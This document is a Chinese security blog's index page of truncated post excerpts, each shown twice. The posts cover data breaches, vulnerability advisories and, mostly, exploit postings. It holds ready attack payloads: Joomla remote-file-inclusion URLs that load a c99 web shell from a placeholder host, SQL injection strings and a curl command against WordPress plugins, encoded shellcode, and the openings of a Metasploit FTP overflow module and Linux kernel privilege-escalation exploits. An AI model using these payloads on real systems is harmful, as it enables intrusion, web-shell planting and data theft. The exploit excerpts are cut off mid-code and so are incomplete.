一个因网速慢引发的头脑风暴
1.1 起因 这几天发现某酒店的网速越来越慢,中间因为11X的原因加了个认证系统,但是也就是房间号+身份证后6位。 本来以前可以多个设备同时使用的,但是因为加了这个设备所以就没办法同时用了。(蛋疼的11X) 1.2 发现问题1(锐捷设备弱口令) 由于网速实在太......
阅读全文 →SECURITY RESEARCH / ENGINEERING
在证据与实验中理解复杂系统。
1.1 起因 这几天发现某酒店的网速越来越慢,中间因为11X的原因加了个认证系统,但是也就是房间号+身份证后6位。 本来以前可以多个设备同时使用的,但是因为加了这个设备所以就没办法同时用了。(蛋疼的11X) 1.2 发现问题1(锐捷设备弱口令) 由于网速实在太......
阅读全文 →1.1 起因 这几天发现某酒店的网速越来越慢,中间因为11X的原因加了个认证系统,但是也就是房间号+身份证后6位。 本来以前可以多个设备同时使用的,但是因为加了这个设备所以就没办法同时用了。(蛋疼的11X) 1.2 发现问题1(锐捷设备弱口令) 由于网速实在太......
阅读全文 →漏洞名称:腾讯客服开放平台 后台绕过 一、详细说明: 登录部分通过noPermiss(js) http://347.kf.ieodopen.qq.com/admin/js/index.js?v=20121007 因为*.kf.ieodopen.qq.com域名开通的数字代表应用编号 所以我认为这属于框架性漏洞例如1.kf.ieodopen.qq.com也存在此漏洞:) kfadmin.checkLogin = function() { if (top.kfadmin.isLogin == true) return; top.kfadmin.isLogin = "on"; var loginCallback = new Callback("login"); loginCallback.deal = function() { $("......
阅读全文 →漏洞名称:腾讯客服开放平台 后台绕过 一、详细说明: 登录部分通过noPermiss(js) http://347.kf.ieodopen.qq.com/admin/js/index.js?v=20121007 因为*.kf.ieodopen.qq.com域名开通的数字代表应用编号 所以我认为这属于框架性漏洞例如1.kf.ieodopen.qq.com也存在此漏洞:) kfadmin.checkLogin = function() { if (top.kfadmin.isLogin == true) return; top.kfadmin.isLogin = "on"; var loginCallback = new Callback("login"); loginCallback.deal = function() { $("......
阅读全文 →翻译的很烂大家凑合看。英文好的童鞋可以去http://luxsci.com/blog/is-ssltls-really-broken-by-the-beast-attack-what-is-the-real-story-what-should-i-do.html OpenSSL 1.0.1版,它支持TLS v1.1和v1.2,这有助于减少这种攻击。现在所有网站应该使用更新的openssl更安全。 建议使用一个支持TLS v1.1和v1.2的ssl SSLv3和TLS V1存在一个严重的漏洞,根据最近发......
阅读全文 →翻译的很烂大家凑合看。英文好的童鞋可以去http://luxsci.com/blog/is-ssltls-really-broken-by-the-beast-attack-what-is-the-real-story-what-should-i-do.html OpenSSL 1.0.1版,它支持TLS v1.1和v1.2,这有助于减少这种攻击。现在所有网站应该使用更新的openssl更安全。 建议使用一个支持TLS v1.1和v1.2的ssl SSLv3和TLS V1存在一个严重的漏洞,根据最近发......
阅读全文 →r00tBeer安全小组的黑客团队称今天到高级微设备公司(AMD),这是一个美国的跨国半导体公司的官方博客黑客。AMD是基于微处理器的x86架构和图形处理单元最大的供应商之一的全球第二大供应商 黑客污损的博客页面(http://blogs.amd.com/wp-content/r00tbeer.html)泄露在他的博客的完整的用户数据库......
阅读全文 →r00tBeer安全小组的黑客团队称今天到高级微设备公司(AMD),这是一个美国的跨国半导体公司的官方博客黑客。AMD是基于微处理器的x86架构和图形处理单元最大的供应商之一的全球第二大供应商 黑客污损的博客页面(http://blogs.amd.com/wp-content/r00tbeer.html)泄露在他的博客的完整的用户数据库......
阅读全文 →安全!安全?你以为注册账号时提示“您的密码非常复杂”时密码就真的非常安全嘛?NONONONONONONONONO。Apple和亚马逊保存的信用卡信息真的高度机密吗?NONONONONONONONONO。云计算时代真的安全吗?NONONONONONONONONO。 下面给大家介绍一个本周最倒霉的家伙,他叫迈特·霍纳恩。他到底有多......
阅读全文 →安全!安全?你以为注册账号时提示“您的密码非常复杂”时密码就真的非常安全嘛?NONONONONONONONONO。Apple和亚马逊保存的信用卡信息真的高度机密吗?NONONONONONONONONO。云计算时代真的安全吗?NONONONONONONONONO。 下面给大家介绍一个本周最倒霉的家伙,他叫迈特·霍纳恩。他到底有多......
阅读全文 →NVidia的私有Linux驱动被发现存在权限提升漏洞,允许攻击者获得超级用户权限。漏洞是黑客Dave Airlie公开的,他是从一位匿名者那里获知了漏洞,验证确实有效,这位匿名用户一个多月前就通知了NVidia,但至今没有收到反馈,因此希望公开漏洞。 原文地址......
阅读全文 →NVidia的私有Linux驱动被发现存在权限提升漏洞,允许攻击者获得超级用户权限。漏洞是黑客Dave Airlie公开的,他是从一位匿名者那里获知了漏洞,验证确实有效,这位匿名用户一个多月前就通知了NVidia,但至今没有收到反馈,因此希望公开漏洞。 原文地址......
阅读全文 →BlackSpider6.7更新内容 1、数据库重构 2、界面优化 3、解决bugs 4、优化效率问题 5、加入加载功能 6、加入动态数据检索功能 7、解决参数过多问题(清除参数在树形结构显示 但是还可以从动态检索获取 或者直接从数据库查看) 高清视频下载......
阅读全文 →BlackSpider6.7更新内容 1、数据库重构 2、界面优化 3、解决bugs 4、优化效率问题 5、加入加载功能 6、加入动态数据检索功能 7、解决参数过多问题(清除参数在树形结构显示 但是还可以从动态检索获取 或者直接从数据库查看) 高清视频下载......
阅读全文 →据Cnet网站报道,雅虎显然成了网络攻击的牺牲品,它以纯文本(未加密文本)方式储存的40多万个用户登录认证信息被黑客公诸于众。 这些被盗的个人数据发布在黑客网站D33D上,其中包括45.3万多份用户登录认证信息,它们显然来自雅虎网站。......
阅读全文 →据Cnet网站报道,雅虎显然成了网络攻击的牺牲品,它以纯文本(未加密文本)方式储存的40多万个用户登录认证信息被黑客公诸于众。 这些被盗的个人数据发布在黑客网站D33D上,其中包括45.3万多份用户登录认证信息,它们显然来自雅虎网站。......
阅读全文 →美国计算机应急准备小组(US-CERT)已披露了英特尔芯片的缺陷,可以让黑客获得对Windows和其他操作系统控制。 [ 该漏洞已经被利用微软Windows 7 FreeBSD,NetBSD 64位版本,苹果的OS X也可能是脆弱的。 在本周公布的一份安全公告中的漏洞,该漏洞被披露。攻击者可......
阅读全文 →美国计算机应急准备小组(US-CERT)已披露了英特尔芯片的缺陷,可以让黑客获得对Windows和其他操作系统控制。 [ 该漏洞已经被利用微软Windows 7 FreeBSD,NetBSD 64位版本,苹果的OS X也可能是脆弱的。 在本周公布的一份安全公告中的漏洞,该漏洞被披露。攻击者可......
阅读全文 →原文地址http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html MSF的触发代码如下: < o bject classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx"> script ↑自行加上<> do cument.getElementById("xx").object.definition(0); script ↑自行加上<> 触发时的代码如下: 0:015> u 5dd8d7c9 L50 msxml3!_dispatchImpl::InvokeHelper+0x93: 5dd8d7c9 8b45ec mov eax,dword ptr 5dd8d7cc 3bc3 cmp eax,ebx 5dd8d7ce 8bf0 mov esi,eax 5dd8d7d0 7426 je msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8) 5dd8d7d2 ff7528 push dword ptr 5dd8d7d5 8b08 mov ecx,dword ptr 5dd8d7d7 ff7524......
阅读全文 →原文地址http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html MSF的触发代码如下: < o bject classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx"> script ↑自行加上<> do cument.getElementById("xx").object.definition(0); script ↑自行加上<> 触发时的代码如下: 0:015> u 5dd8d7c9 L50 msxml3!_dispatchImpl::InvokeHelper+0x93: 5dd8d7c9 8b45ec mov eax,dword ptr 5dd8d7cc 3bc3 cmp eax,ebx 5dd8d7ce 8bf0 mov esi,eax 5dd8d7d0 7426 je msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8) 5dd8d7d2 ff7528 push dword ptr 5dd8d7d5 8b08 mov ecx,dword ptr 5dd8d7d7 ff7524......
阅读全文 →cat > srv.c < < _EOF #include #include #include #include #include #include struct socky { short sun_family; char sun_path[160]; }; int connhandler(int incoming) { char buffer[256]; int n = 0; n = read(incoming, buffer, 256); buffer[n] = 0; printf("%s\n", buffer); n = sprintf(buffer, "fbsd uipc socket heap overflow"); write(incoming, buffer, n); close(incoming); return 0; } int main(void) { struct socky overfl0w; int sock, incoming; socklen_t alen; pid_t child; char buf[160]; sock = socket(PF_UNIX, SOCK_STREAM, 0); if(sock < 0) { printf("socket() failed!\n"); return 1; } memset(&overfl0w, 0, sizeof(struct socky)); overfl0w.sun_family = AF_UNIX; memset(buf, 0x61, sizeof(buf......
阅读全文 →cat > srv.c < < _EOF #include #include #include #include #include #include struct socky { short sun_family; char sun_path[160]; }; int connhandler(int incoming) { char buffer[256]; int n = 0; n = read(incoming, buffer, 256); buffer[n] = 0; printf("%s\n", buffer); n = sprintf(buffer, "fbsd uipc socket heap overflow"); write(incoming, buffer, n); close(incoming); return 0; } int main(void) { struct socky overfl0w; int sock, incoming; socklen_t alen; pid_t child; char buf[160]; sock = socket(PF_UNIX, SOCK_STREAM, 0); if(sock < 0) { printf("socket() failed!\n"); return 1; } memset(&overfl0w, 0, sizeof(struct socky)); overfl0w.sun_family = AF_UNIX; memset(buf, 0x61, sizeof(buf......
阅读全文 →include include include include include include void dummy_func( void ) { asm volatile( ".byte 0xff" ); } int main( void ) { int ret; union ldt_entry cgate, cgate2; char dummy[128] = {0x00,}; cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff; cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff; /* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p The normal system has a little different environment. I have no time for this anymore because of my summer break is over. So.. Good Luck! */ cgate.call_gate.argcnt = 0; cgate.call_gate.type = 0xc; // DESC_CALL_GATE cgate.call_gate.dpl = 3; cgate.call_gate.present = 1; cgate.call_gate.seg......
阅读全文 →include include include include include include void dummy_func( void ) { asm volatile( ".byte 0xff" ); } int main( void ) { int ret; union ldt_entry cgate, cgate2; char dummy[128] = {0x00,}; cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff; cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff; /* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p The normal system has a little different environment. I have no time for this anymore because of my summer break is over. So.. Good Luck! */ cgate.call_gate.argcnt = 0; cgate.call_gate.type = 0xc; // DESC_CALL_GATE cgate.call_gate.dpl = 3; cgate.call_gate.present = 1; cgate.call_gate.seg......
阅读全文 →简介: ============= 目前包括应用程序和所有Facebook用户浏览。 该服务是一个外部的第三方应用程序在香港恒生银行赞助。 (卖方主页:http://apps.facebook.com/hangseng_mpf_ajax/) Facebook是一个社交网络服务网站开通于2004年2月,经营和私有 通过Facebook,公司截至2011年7月,Facebook已经超过750万活跃用户。用户可以创建 个人档案......
阅读全文 →简介: ============= 目前包括应用程序和所有Facebook用户浏览。 该服务是一个外部的第三方应用程序在香港恒生银行赞助。 (卖方主页:http://apps.facebook.com/hangseng_mpf_ajax/) Facebook是一个社交网络服务网站开通于2004年2月,经营和私有 通过Facebook,公司截至2011年7月,Facebook已经超过750万活跃用户。用户可以创建 个人档案......
阅读全文 →影响版本: Django 1.2.5 Django 1.3 beta 1 Django 1.2.4 Django 1.2.2 Django 1.2 漏洞描述: Django是一款开放源代码的Web应用框架,由Python写成。 Django存在多个安全漏洞,允许攻击者获得敏感信息,操作数据,进行缓存毒药攻击或进行拒绝服务攻击。 1)当使用缓存后端时django.contrib.sessions中处理会话存在错......
阅读全文 →影响版本: Django 1.2.5 Django 1.3 beta 1 Django 1.2.4 Django 1.2.2 Django 1.2 漏洞描述: Django是一款开放源代码的Web应用框架,由Python写成。 Django存在多个安全漏洞,允许攻击者获得敏感信息,操作数据,进行缓存毒药攻击或进行拒绝服务攻击。 1)当使用缓存后端时django.contrib.sessions中处理会话存在错......
阅读全文 →一 描叙: phpcms 使用sys_auth函数加解密cookie信息,系统中多个文件直接从cookie中获取变量进入程序流程。 由于sys_auth函数在设计和使用过程中存在缺陷,导致注册用户可以伪造cookie数据,触发SQL注入等多个二次攻击。 二 分析 : 看sys_auth函数代码 //libs/functions/global.func.php function sys_auth($txt, $operation = ''ENCODE'', $key = '''') { $key = $key......
阅读全文 →一 描叙: phpcms 使用sys_auth函数加解密cookie信息,系统中多个文件直接从cookie中获取变量进入程序流程。 由于sys_auth函数在设计和使用过程中存在缺陷,导致注册用户可以伪造cookie数据,触发SQL注入等多个二次攻击。 二 分析 : 看sys_auth函数代码 //libs/functions/global.func.php function sys_auth($txt, $operation = ''ENCODE'', $key = '''') { $key = $key......
阅读全文 →影响: Red Hat Fedora 16 Red Hat Fedora 15 Red Hat Fedora 14 CPAN Data::FormValidator 4.66 exploit: !/opt/perl/5.12/bin/perl use strict; use warnings; use Data::FormValidator; "some_unrelated_string" =~ m/^.*$/; my $profile = { untaint_all_constraints => 1, required => [qw(a)], constraint_methods => { a => qr/will_never_match/, }, }; my $results = Data::FormValidator->check({ a => 1 }, $profile); warn $results->valid('a'); 评论区: Jennylee: Way to use the internet to help pelpoe solve problems! [2011-09-18 22:09:35] Jaylon: Alaaakzam-information found, problem solved, thanks! [2011-09-18 17:42:33] 韩式婚纱摄影工作室: 坐个沙发学学......
阅读全文 →影响: Red Hat Fedora 16 Red Hat Fedora 15 Red Hat Fedora 14 CPAN Data::FormValidator 4.66 exploit: !/opt/perl/5.12/bin/perl use strict; use warnings; use Data::FormValidator; "some_unrelated_string" =~ m/^.*$/; my $profile = { untaint_all_constraints => 1, required => [qw(a)], constraint_methods => { a => qr/will_never_match/, }, }; my $results = Data::FormValidator->check({ a => 1 }, $profile); warn $results->valid('a'); 评论区: Jennylee: Way to use the internet to help pelpoe solve problems! [2011-09-18 22:09:35] Jaylon: Alaaakzam-information found, problem solved, thanks! [2011-09-18 17:42:33] 韩式婚纱摄影工作室: 坐个沙发学学......
阅读全文 →exploit: !/usr/bin/env ruby require 'net/http' require 'uri' ensure that we're getting a first argument and that it's a valid URI abort("You must specify a hostname as the first argument.") if ARGV.first.nil? abort("Invalid URI") unless uri = URI.parse(ARGV.first) create our request object req = Net::HTTP::Head.new(uri.request_uri) http = Net::HTTP.new(uri.host, uri.port) set custom headers you might need to fiddle with these to get around your default modsec filters req.delete("Accept") req.delete("User-Agent") req.add_field("Host", uri.host) optional, add......
阅读全文 →exploit: !/usr/bin/env ruby require 'net/http' require 'uri' ensure that we're getting a first argument and that it's a valid URI abort("You must specify a hostname as the first argument.") if ARGV.first.nil? abort("Invalid URI") unless uri = URI.parse(ARGV.first) create our request object req = Net::HTTP::Head.new(uri.request_uri) http = Net::HTTP.new(uri.host, uri.port) set custom headers you might need to fiddle with these to get around your default modsec filters req.delete("Accept") req.delete("User-Agent") req.add_field("Host", uri.host) optional, add......
阅读全文 →Ubuntu 11.04 x86: (gdb) run 10.0.0.8 Starting program: /usr/bin/ftp 10.0.0.8 Connected to 10.0.0.8. 220 debianita FTP server ready. Name (10.0.0.8:kron0): anonymous 331 Guest login ok, send your complete e-mail address as password. Password: 230-Welcome, archive user ftp@10.0.0.9 ! 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA * buffer overflow detected *: /usr/bin/ftp terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x50) /lib/i386-linux-gnu/libc.so.6(+0xe4cca) /lib/i386-linux-gnu/libc.so.6(+0xe41ed) /usr/bin/ftp /usr/bin/ftp /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe7) /usr/bin/ftp ======= Memory map: ======== 00110000-0012c000 r-xp 00000000 08......
阅读全文 →Ubuntu 11.04 x86: (gdb) run 10.0.0.8 Starting program: /usr/bin/ftp 10.0.0.8 Connected to 10.0.0.8. 220 debianita FTP server ready. Name (10.0.0.8:kron0): anonymous 331 Guest login ok, send your complete e-mail address as password. Password: 230-Welcome, archive user ftp@10.0.0.9 ! 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA * buffer overflow detected *: /usr/bin/ftp terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x50) /lib/i386-linux-gnu/libc.so.6(+0xe4cca) /lib/i386-linux-gnu/libc.so.6(+0xe41ed) /usr/bin/ftp /usr/bin/ftp /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe7) /usr/bin/ftp ======= Memory map: ======== 00110000-0012c000 r-xp 00000000 08......
阅读全文 →/* Exploit Title: WhatSize 动态连接数据库劫持漏洞(Size32.dll) Author: Angel Injection Tested on: Windows xp sp2 Greetz: Inj3ct0r Team , sec-krb.org Team */ include BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_hijack(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_hijack() { MessageBox(0, "WhatSize DLL Hijacking!", "DLL Message", MB_OK......
阅读全文 →/* Exploit Title: WhatSize 动态连接数据库劫持漏洞(Size32.dll) Author: Angel Injection Tested on: Windows xp sp2 Greetz: Inj3ct0r Team , sec-krb.org Team */ include BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_hijack(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_hijack() { MessageBox(0, "WhatSize DLL Hijacking!", "DLL Message", MB_OK......
阅读全文 →请去http://svn.php.net/viewvc?view=revision&revision=309221更新您的PHP版本 < ?php ////////////////////////// PHP 5.35 "phar/phar_object.c"格式化字符串bug POC(Win32) ///////////// TEST in (Win32) PHP/5.3.5 On WinXP sp3 (cn) ///////////// Payload windows/exec {CMD=calc, Encoder=x86/alphamixed} $shellcode = "". "\x89\xe0\xdb\xc1\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a". "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32". "......
阅读全文 →请去http://svn.php.net/viewvc?view=revision&revision=309221更新您的PHP版本 < ?php ////////////////////////// PHP 5.35 "phar/phar_object.c"格式化字符串bug POC(Win32) ///////////// TEST in (Win32) PHP/5.3.5 On WinXP sp3 (cn) ///////////// Payload windows/exec {CMD=calc, Encoder=x86/alphamixed} $shellcode = "". "\x89\xe0\xdb\xc1\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a". "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32". "......
阅读全文 →影响: windows server 2008 r1 exploit: int main(int argc, char *argv[]) { DWORD foo; char stuff[10]; CloseHandle(GetStdHandle(STD_OUTPUT_HANDLE )); CloseHandle(GetStdHandle(STD_ERROR_HANDLE )); ReadConsole(GetStdHandle( STD_INPUT_HANDLE ), stuff, 5, &foo, NULL); } 原因C:\Windows\system32\csrss.exe访问冲突 地址756DB6A1 写入无效地址0000000C eax=015c0da8 ebx=00000000 ecx=00000000 edx=015c14a8 esi=00000000 edi=015c0dc8 eip=756db6a1 esp=0083f5d0 ebp=0083f6a0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 进程基目录......
阅读全文 →影响: windows server 2008 r1 exploit: int main(int argc, char *argv[]) { DWORD foo; char stuff[10]; CloseHandle(GetStdHandle(STD_OUTPUT_HANDLE )); CloseHandle(GetStdHandle(STD_ERROR_HANDLE )); ReadConsole(GetStdHandle( STD_INPUT_HANDLE ), stuff, 5, &foo, NULL); } 原因C:\Windows\system32\csrss.exe访问冲突 地址756DB6A1 写入无效地址0000000C eax=015c0da8 ebx=00000000 ecx=00000000 edx=015c14a8 esi=00000000 edi=015c0dc8 eip=756db6a1 esp=0083f5d0 ebp=0083f6a0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 进程基目录......
阅读全文 →/* half-nelson.c Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit Jon Oberheide http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 Stack-based buffer overflow in the econet_sendmsg function in net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an econet address is configured, allows local users to gain privileges by providing a large number of iovec structures. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which allows local users to bypass intended access restrictions and configure econet addresses via an......
阅读全文 →/* half-nelson.c Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit Jon Oberheide http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 Stack-based buffer overflow in the econet_sendmsg function in net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an econet address is configured, allows local users to gain privileges by providing a large number of iovec structures. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which allows local users to bypass intended access restrictions and configure econet addresses via an......
阅读全文 →中华人民共和国最高人民法院中华人民共和国最高人民检察院 公告 《最高人民法院、最高人民检察院关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》已于2011年6月20日由最高人民法院审判委员会第1524次会议、2011年7月11日由最高......
阅读全文 →中华人民共和国最高人民法院中华人民共和国最高人民检察院 公告 《最高人民法院、最高人民检察院关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》已于2011年6月20日由最高人民法院审判委员会第1524次会议、2011年7月11日由最高......
阅读全文 →define _GNU_SOURCE 1 include include include include include include include include include include include include define MATRIX_SIZE 512 static double a[MATRIX_SIZE][MATRIX_SIZE]; static double b[MATRIX_SIZE][MATRIX_SIZE]; static double c[MATRIX_SIZE][MATRIX_SIZE]; static void naive_matrix_multiply(int quiet) { double s; int i,j,k; for(i=0;i for(j=0;j a[i][j]=(double)i*(double)j; b[i][j]=(double)i/(double)(j+5); } } for(j=0;j for(i=0;i s=0; for(k=0;k s+=a[i][k]*b[k][j]; } c[i][j] = s; } } s=0.0; for(i=0;i for(j=0;j s+=c[i][j]; } } if (!quiet) printf......
阅读全文 →define _GNU_SOURCE 1 include include include include include include include include include include include include define MATRIX_SIZE 512 static double a[MATRIX_SIZE][MATRIX_SIZE]; static double b[MATRIX_SIZE][MATRIX_SIZE]; static double c[MATRIX_SIZE][MATRIX_SIZE]; static void naive_matrix_multiply(int quiet) { double s; int i,j,k; for(i=0;i for(j=0;j a[i][j]=(double)i*(double)j; b[i][j]=(double)i/(double)(j+5); } } for(j=0;j for(i=0;i s=0; for(k=0;k s+=a[i][k]*b[k][j]; } c[i][j] = s; } } s=0.0; for(i=0;i for(j=0;j s+=c[i][j]; } } if (!quiet) printf......
阅读全文 →----------------------[ Exploit ]----------------=> +> p0c : http://[site]/components/[c0m_Vuln3r4ble]/vUln3rPag3_.php?mosConfig_absolute_path=[ Ev!L Sh3lL]? +> Expl0!t : http://[site]/components/com_openid/openid.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_newsfeeds/newsfeeds.html.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_poll/poll.html.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_mostlyce_frontend/mostlyce_frontend.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_newsfeeds/newsfeeds.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_frontpage/frontpage.php?mosConfig_absolute_path=http://ev!l/c99.txt? -------------------------[ End ]-----------------< <......
阅读全文 →----------------------[ Exploit ]----------------=> +> p0c : http://[site]/components/[c0m_Vuln3r4ble]/vUln3rPag3_.php?mosConfig_absolute_path=[ Ev!L Sh3lL]? +> Expl0!t : http://[site]/components/com_openid/openid.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_newsfeeds/newsfeeds.html.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_poll/poll.html.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_mostlyce_frontend/mostlyce_frontend.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_newsfeeds/newsfeeds.php?mosConfig_absolute_path=http://ev!l/c99.txt? http://[site]/components/com_frontpage/frontpage.php?mosConfig_absolute_path=http://ev!l/c99.txt? -------------------------[ End ]-----------------< <......
阅读全文 →PoC http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20 Vulnerable code if ($_GET['term'] != '') { ... $titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title"......
阅读全文 →PoC http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20 Vulnerable code if ($_GET['term'] != '') { ... $titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title"......
阅读全文 →http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 e.g.: curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php Vulnerable code $s=$_POST['s']; ... $sql = "SELECT * FROM $table_name where session='$s' and status='1'"; $session = $wpdb->get_row($sql......
阅读全文 →http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 e.g.: curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php Vulnerable code $s=$_POST['s']; ... $sql = "SELECT * FROM $table_name where session='$s' and status='1'"; $session = $wpdb->get_row($sql......
阅读全文 →$Id: fftp_bof.rb 2011-09-01 20:14 KedAns-Dz $ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit', 'Description' => %q{ This module exploits a FreeFloat FTP Server Buffer Overflow found in the MKD/REST/ACCL command's. }, 'Author' => [ 'C4SS!0 G0M3S', # Discovery Vuln. 'KedAns-Dz' # Metasploit Module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 0.1', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17539' ], [ 'URL......
阅读全文 →$Id: fftp_bof.rb 2011-09-01 20:14 KedAns-Dz $ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit', 'Description' => %q{ This module exploits a FreeFloat FTP Server Buffer Overflow found in the MKD/REST/ACCL command's. }, 'Author' => [ 'C4SS!0 G0M3S', # Discovery Vuln. 'KedAns-Dz' # Metasploit Module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 0.1', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17539' ], [ 'URL......
